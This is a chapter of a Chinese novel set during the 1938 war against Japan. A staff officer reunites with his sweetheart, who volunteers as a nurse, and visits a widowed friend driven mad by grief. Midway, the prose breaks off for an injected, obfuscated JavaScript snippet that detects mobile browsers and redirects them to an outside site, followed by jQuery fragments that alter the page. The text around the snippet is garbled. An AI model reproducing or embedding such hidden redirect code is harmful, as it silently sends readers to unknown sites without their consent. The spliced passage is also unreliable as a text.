南京失陷后,我回到改组后的军令部。
那些日子,苦闷、压抑笼罩在每个人的心头。特别是听说日军在南京实施惨绝人寰的大屠杀后,我们个个都憋着一股劲,恨不得上战场杀敌雪耻,哪怕是为国捐躯也在所不惜。
四月份台儿庄一场大胜,极大的振奋了人心。依照军事委员会相关部署,第五战区集中兵力于徐州附近,计划在鲁南再打一场大会战,再次聚歼日军,挫败敌寇打通津浦路的企图;争取改变战场态势,为后续抗战部署赢得时间。
这日我随处长南线巡视北回徐州,途中经过小城。处长听说这儿有个战时医院,临时决定看望受伤将士,住上一晚,次日一早回程。
战事爆发后经历了太多生死,感觉都有些麻木了。但回到了熟悉的小城,还能住上一晚,我的心又有些复活了。我心爱的芸儿,你还好么?
可一想这回只有短短十来个小时,能见上面么?自从去年遇到芸儿之后,我曾有多少美好的期望啊!可如今战火四起,局势难料,若再上战场,我能活着回来么?好想见面,又怕见上。
五月的小城,正是紫藤的花期。那紫色的花儿,一簇簇的,在蓝天白云下,古巷里,小楼旁,甚是好看。
自三四月份数场大战下来,伤兵不少,小城医院已成为战区医院一部分了。伤兵到处都是,病房里,走廊里,甚至连院子里都搭了好些帐篷。
院长陪着我们一行,满脸的抱歉和无奈。一是药品储备不足,一些手术,在麻醉不足甚至是根本没有麻醉的状况下进行;二是人手奇缺,虽然司令长官部支援了一些医生过来,但数量远远不够,能做外科手术的更是整天忙得不可开交;饶是如此,每天都有不少重伤员离去,甚至还轮不到手术就牺牲了。
大家听了都深感痛心,处长更是满脸凝重。
让我意外的是,在二楼医生办公室里居然又见到张薇。只是没想到她一见面就给我来个大大拥抱,就如同以前一般,根本不顾周边那些诧异的眼睛。
处长见状有些无奈的摇摇头,见怪不怪的笑着说:“这丫头,这么大了还有小时候那股疯劲呀。”
我们一起又走了好些病房,正准备再上三楼时,就听到背后传来一位女声的惊呼:“前面可是林之秋林参谋?”
我跟着大家回头一看,居然是梦芸!她一身蓝色长袍,外面套着一件白色的围裙,围裙上有片片血渍,头上随意扎了两个小辫,好疲惫的样子,却是满脸的期待;她见我转身,两行热泪便流了下来,然后急忙用手拭去。
我也是一声惊呼:“芸儿,你怎么会在这儿?”
刹那间,我们都意识到自己的失态。
处长见了,有些疑惑的问我:“你们认识?这位是?我们好像见过?”
我正要回答,张薇笑着说:“她叫洪梦芸!这里的小学教师,曾和之秋表嫂去过南京的。这不是人手不足么?她学过护理,自愿过来帮忙。”
“洪梦芸,好名字!对了,之秋,你叫她芸儿,这是你的女朋友?”处长见我们有些不好意思的样子 ,立刻就明白什么了。他认真打量了一下梦芸,笑着赞叹道:“不错不错,你小子有眼光,真是才子佳人啊。这么说我临时起意暂住一晚是对的喽?之秋,女朋友在这儿,你怎么不早说?”
我忙一个立正。“报告处座,卑职责任所系,日寇未除,不敢言他。”
“好一个日寇未除,不敢言他!这才是革命军人应有的样子!现在是下午4点25分。”处长看了看表,大喝一声:“林之秋!”
“到!”
“给你一个任务,陪洪小姐吃晚饭,晚间7点40分前归队!对了,张军医,我看洪小姐也很疲倦了,你这是不是也给几个小时休息休息?”
“那还用说,我也想赶她回去休息,就是赶不走!她太勤劳了,只要没上课就来帮忙,还帮我们值夜班,这些天下来那个累的!梦芸,处座都发话让你休息啦!放心!今晚小夜班我来,你就好好休息,明早准时过来便是!”
“这就对了嘛!林之秋,还不马上执行命令?还不谢谢我?”
“是,执行命令。谢谢处座!”
处长一行笑着离开了,有位同事从我一旁经过时还笑着用拳头锤我,给我打气,倒是把梦芸羞了一个大红脸。
梦芸摘下围裙,和我肩并肩的走着。梦芸不时回过头来看我一眼,那脸上飞起片片红晕,然后又又低下头,幸福的神情就荡漾开来。
起初两个人都没有说话,真是纵有千言万语,一时却无从说起,直到出了医院,还是梦芸先打破了那短暂的沉寂。
“之秋,你知道么?人家是多么的想你。”梦芸说着说着就低下了头。
“芸儿,我也想你。”看着梦芸害羞的样子,我心里是百感交集。
梦芸抬起头看了我一眼,又很快的低下头去,然后两手往前一拍,又往后一拍,然后扭过头来看着我,有些生气般的撅起了小嘴。
“自从那回南京一别后,人家就天天盼着之秋的来信。平安的消息是收到了,可是只能收到来信,芸儿想给回信,却不知往哪儿寄。”
“芸儿,从淞沪会战开始,一场接一场的血战,部队不断的调动,能把信儿寄出就相当不易了,加上有时还有保密需要,这个还请多多见谅啊。”
“之秋,人家也是这么想的嘛。可有几个姐妹却和芸儿开玩笑说,林长官说不定早就把芸儿给忘了,要不后边怎么就联系不上呢?可把人气的。之秋,你知道这几个月来,人家有多当心呀。”
“之秋晓得,可身为军人,保家卫国是职责所系呀,就让芸儿牵挂了。对了,芸儿,你怎么会自愿来医院当护士呢?”
“是这样的,听说上海开战了,人家就茶饭不香的,还,还,”
“还什么呢?”
“还常常做恶梦。特别是这医院开始接受伤兵之后,有一天晚上,就梦见之秋受了重伤,浑身是血的,呸呸呸,乌鸦嘴!就是,就是很重很重的那种,嘴里不停喊着芸儿的名字,被送进了医院,把芸儿给吓得,第二天就跑到医院来了,就怕看到梦里出现的情况。后来,芸儿干脆就来帮忙了。万一,人家是说万一出现梦里的情况,人家就可以守在一旁护理啊。”
我听了,鼻子不由一酸。“你看,我这不是好好的,再说真发生那种情况,有好多后方医院啊,芸儿可知我会被送到哪儿去?”
“这个嘛,芸儿就想啊,人家在这尽心护理伤员,天主见了,一定会体谅芸儿的苦心的。若是之秋真的负伤,也一定会派一个人去尽心护理的,那之秋不就好得更快么?”
我顿时眼角润湿了。见四下没什么人,一把拉着梦芸的手,把她拥在怀里,紧紧的抱着,“真是个小傻瓜呀!都说梦里的东西和现实是相反的,你看,之秋这不好好的?”
梦芸起初在我怀里还略有些挣扎,嘴里喃喃的说:“之秋,你别这样呀,这大街上有好些人,要是让人认出,多不好呀……”到了后来,就依偎在我怀中,什么都不说,直愣愣的看着我,眼泪就流下来。
“怎么了,芸儿,弄疼你了么?”
我急忙放开,就见梦芸略带着哭腔说道:“没,没有。之秋是大坏蛋,一见面就知道欺负人。芸儿只是没想到,等了整整295天,今天之秋就突出现了。”说着说着,又痴痴的笑了。
“芸儿,是之秋不好啊!要是没有这场该死的战争,该有多好!”
“这个芸儿晓得,之秋是军人,要听命令的。今儿能见着就很开心了。”梦芸忽然想起什么似的,抬起头来眼巴巴的看着
我问道:“之秋,看处长也在,你们可是路过?”。
“是路过,我们要回徐州,只住一晚,明早八点后就走。”我低下了头,不敢也不忍心去看梦芸的眼睛了。
“才住一个晚上呀?你们晚上还有安排?”梦芸的声音有些颤抖了。
我抬起了头,勉强挤出一个笑容。“晚间有每日例会。之秋也是没想到,居然能在医院遇见芸儿。处长说在小城留宿一晚,我别提有多开心了,但又生怕没有时间,如今是非常时期,怎好向处长请假?还好芸儿及时出现,处长体谅、关心,给了假。”
梦芸听了眼圈就红了。“要见上一面这么难,这么说来要感谢张军医了。对了,之秋,张军医男朋友也和你们在一起吗?”
“哦?这话如何说起呢?” 我觉得有些奇怪,“没听说她有男朋友呀。芸儿,你怎么会问起这个呢?”
“人家,人家是听说张军医,张军医的男朋友来了,而且......” “而且什么?”
“张军医一见她男朋友,就,就,就抱在一起了。”
原来是这么回事呀,这个张薇!也多亏这一抱,引起梦芸的好奇,我们这才见了面。
我红着脸说道:“她就是喜欢特立独行,又是幼时的玩伴,她老是把之秋当哥们的。我不是和你说过啦?上回在南京她也不是那样?怎么啦,芸儿?哦,我明白了,芸儿吃醋啦?”
梦芸脸上立刻就红了,急急的辩解着:“谁吃醋啦,谁吃醋啦?”
我笑着打趣道:“还没吃醋呀?怎么四下里有一股酸酸的味道呢?”
“你才酸呢!” 梦芸有些急了,扭过头去,那眼角分明有些润湿了,“之秋好坏,又欺负人。”
我自是有些心疼,急忙解释:“芸儿,我的好芸儿,是之秋不对,不该乱说话的。之秋和张军医之间真没那事。要不处长见了,怎么会问芸儿是不是之秋的女朋友呢?”
梦芸缓过神来,小嘴一撇:“想得美!人家才不要当之秋的女朋友呢!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592267|171881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“若芸儿不是之秋的女朋友,处长才不给假呢!”我学着梦芸说话的腔调,
梦芸听我这么一说,想想也是,脸上便露出幸福的微笑。
“芸儿,之秋是真的想着芸儿,之秋好几次梦回这里,和芸儿一起,看花,划船,吟诗,嬉戏,还有呀,”我故意卖起关子。
“还有什么?”
“还有一起吃小吃,吃那馄饨,还有那戚继光烧饼。”
梦芸听着便笑出声来,“感情某人始终是惦记着吃呀!”
“芸儿,你可知之秋是多么想你,念你。虽然战时见不着,但有你的照片可以随身带着。芸儿,你看!” 我从贴身口袋中掏出军官证,拿出芸儿相片。
梦芸先是一喜,然后便有些好奇的问:“之秋,你干嘛还要在照片上套一个小塑料袋呀?”
我心想这受伤一事可不能让她知道呀,急忙说着:“我这个是怕弄脏了。”
梦芸听了更觉奇怪了:“之秋,这照片不是夹在军官证里么?”
我摸了摸头,一边比划一边故作轻松说着:“淞沪会战时,我们在罗店和鬼子打拉锯战。有一回刚冲上去就遇到鬼子反扑,没有办法,只能拼刺刀。我刚杀了一个鬼子,没想到侧方一个鬼子刺刀捅过来,我一个躲闪,却滑到在地,眼看那鬼子刺刀又过来了,幸好一个兄弟挥手一刀,那鬼子捂着脖子就趴在我身上,脏血溅了一身。从战场下来后之秋一看,军官证上都有血迹,还好没弄脏芸儿的照片,后来就设法弄了一个小塑料袋套上了。芸儿,你怎么啦?”
梦芸脸色苍白,上上下下打量了我好几遍,然后紧紧的抱着我,把头埋在我怀里,泪如雨下,生怕把我弄丢似的;我明白,是刚才的话吓着她了。
“芸儿,没事的,我这不是好好的?再说,我也不经常上前线的。”
“芸儿知道,可你刚才说的太危险了,太危险了。芸儿好怕!”
“芸儿不用怕,我会注意的,没事啦,我现在不是又做起自己老本行,参谋工作了?”
“嗯呐。”梦芸抬起了头,静静地看着我,任凭我帮着把眼泪擦干。
看着她那清澈的眼神,我的心都快化了。“芸儿,之秋现在跟着处长,只要我们计划得好,同样可以杀敌,杀多多的敌人,为牺牲的兄弟们报仇,为那些无辜死难的平民百姓、父老乡亲报仇!”
梦芸平静下来。“是该多杀鬼子报仇的!之秋,和你说件事,徐雅回来了。”
“徐雅回来了?什么时候?可是去年十月省城失陷后?”
梦芸听了难过的点了点头说:“是的。还有,你那玉轩表哥,没了。”
“表哥没了,什么没了?芸儿,你告诉我怎么回事?”
梦芸更难过了。
“年初小鬼子飞机来轰炸,那时候防空洞什么的还没全好,大街上乱乱的,玉轩那会正好从外地回来,他急忙带人疏导,叫大家隐蔽,一颗炸弹就落在他们中间。”
什么?我眼前顿时浮现出表哥的音容笑貌来。我痛苦的将一拳头砸向路边一颗树上,一些残花便纷纷飘落。
“这该杀千刀的小鬼子,血债一定要用血来偿还!芸儿,这还有点时间,要不我们去看看徐雅?”
“好的,之秋,我们一同去,只是......”
“只是什么?”
“只是徐雅已经不是以前那个徐雅了。”
“这话什么意思?”
“唉,之秋,你见到就知道了。”
到了徐府,管家一见梦芸,便好是热情:“哎呀,来了您!洪小姐,您又来探望我们家小姐啦?真是姐妹情深呀。请问这位长官是?”
“这位是林长官,是你家姑爷的表弟,也是小姐的学长,去年来过的;今天正好路过,就过来看看小姐。”
“呀,原来是林长官,瞧小的这眼拙的,上回您来穿的是西装,今儿个一身戎装,精神,威武,搞得小的都不敢认了,该死该死。小的这就进去通报老爷和太太,林长官,您这边请,这边请。”
那管家迎上来,一脸堆笑。
“小姐今天如何?”
“在书房,还是有一出没一出的。咳,这该死的小日本,作孽啊。”
梦芸带着我先到了书房,就见徐雅一身黑衣,呆呆的坐在书桌前,似乎在想着什么,可那眼神里却是一片的空虚。
“徐雅,你看看这是谁?之秋!我带之秋看你来了。”
徐雅依旧一动不动的坐着,神情没有一点变化。“之秋来啦?梦芸,你帮我好好招待一下哈,玉轩说这几天就回来,算算日子,应该就是明天,你看,这不是他来信了?”
我这时才注意到,徐雅手边有一封信,那信封都有些破损了。
这是怎么回事?徐雅怎么变成这个样子?